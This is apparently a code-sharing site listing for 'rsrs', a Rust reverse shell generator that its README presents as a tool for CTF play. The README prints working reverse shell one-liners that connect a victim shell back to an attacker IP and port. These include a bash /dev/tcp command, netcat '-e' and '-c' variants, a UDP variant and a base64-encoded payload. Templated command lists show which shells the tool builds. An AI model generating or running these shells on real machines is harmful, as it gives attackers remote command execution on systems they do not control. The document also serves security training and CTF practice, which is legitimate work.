rsrs

所属分类:Telnet客户端/Shell
开发工具:Rust
文件大小:5KB
下载次数:0
上传日期:2022-04-21 20:23:17
上 传 者sh-1993
说明:  一种锈蚀反壳发生器
(A Reverse Shell Generator in Rust)

文件列表:
Cargo.toml (360, 2022-04-22)
revshells.json (4007, 2022-04-22)
src (0, 2022-04-22)
src\commands.rs (1506, 2022-04-22)
src\main.rs (4890, 2022-04-22)

* RuSt Reverse Shell ** What is this? A reverse shell generator written in rust. ** Why? I enjoy playing CTFs. There are reverse shell generators available on the web, but i wanted a single binary program that I could throw into containers and VMs easily, or just netcat across the wire to a target box. * Usage There are 3 subcommands. =Generate=, which generates a reverse shell, =list-shells= which lists the names of the reverse shells that were compiled in, and =list-shells-verbose= which lists shells, their components, and their capabilities. ** Examples Generate a TCP Bash reverse shell that connects to port 4444 on the IP 10.10.10.37 #+BEGIN_SRC rsrs generate -i 10.10.10.37 -p 4444 -r bash_tcp bash -i >& /dev/tcp/10.10.10.37/4444 0>&1 #+END_SRC Generate a netcat shell, that uses zsh, and connects to port 4444 on the IP 10.10.10.37 #+BEGIN_SRC rsrs generate -i 10.10.10.37 -p 4444 -r "nc -e" --shell "/bin/zsh" nc -e /bin/zsh 10.10.10.37 4444 #+END_SRC Generate a netcat shell, that uses zsh, connects to port 4444 on the IP address 10.10.10.37 and output the string as base*** #+BEGIN_SRC rsrs generate -i 10.10.10.37 -p 4444 -r "nc -e" --shell "/bin/zsh" -e base*** bmMgLWUgL2Jpbi96c2ggMTAuMTAuMTAuMzcgNDQ0NA== #+END_SRC List all shells that run on Linux. #+BEGIN_SRC rsrs list-shells linux nc -c nc -e bash_tcp bash_udp #+END_SRC List all shells that run on linux, verbose. #+BEGIN_SRC rsrs list-shells-verbose linux Name: bash_udp OS: ["linux", "mac"] Subcomponents: ["IP", "PORT"] Command: bash -i >& /dev/udp/{SUBIP}/{SUBPORT} 0>&1 Name: nc -c OS: ["linux", "mac"] Subcomponents: ["IP", "PORT", "SHELL"] Command: nc -c {SUBSHELL} {SUBIP} {SUBPORT} Name: nc -e OS: ["linux", "mac"] Subcomponents: ["IP", "PORT", "SHELL"] Command: nc -e {SUBSHELL} {SUBIP} {SUBPORT} Name: bash_tcp OS: ["linux", "mac"] Subcomponents: ["IP", "PORT"] Command: bash -i >& /dev/tcp/{SUBIP}/{SUBPORT} 0>&1 #+END_SRC * Thanks Thanks to [[https://www.revshells.com/][RevShells]] and [[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell=][PayloadsAllTheThings]]

近期下载者

相关文件


收藏者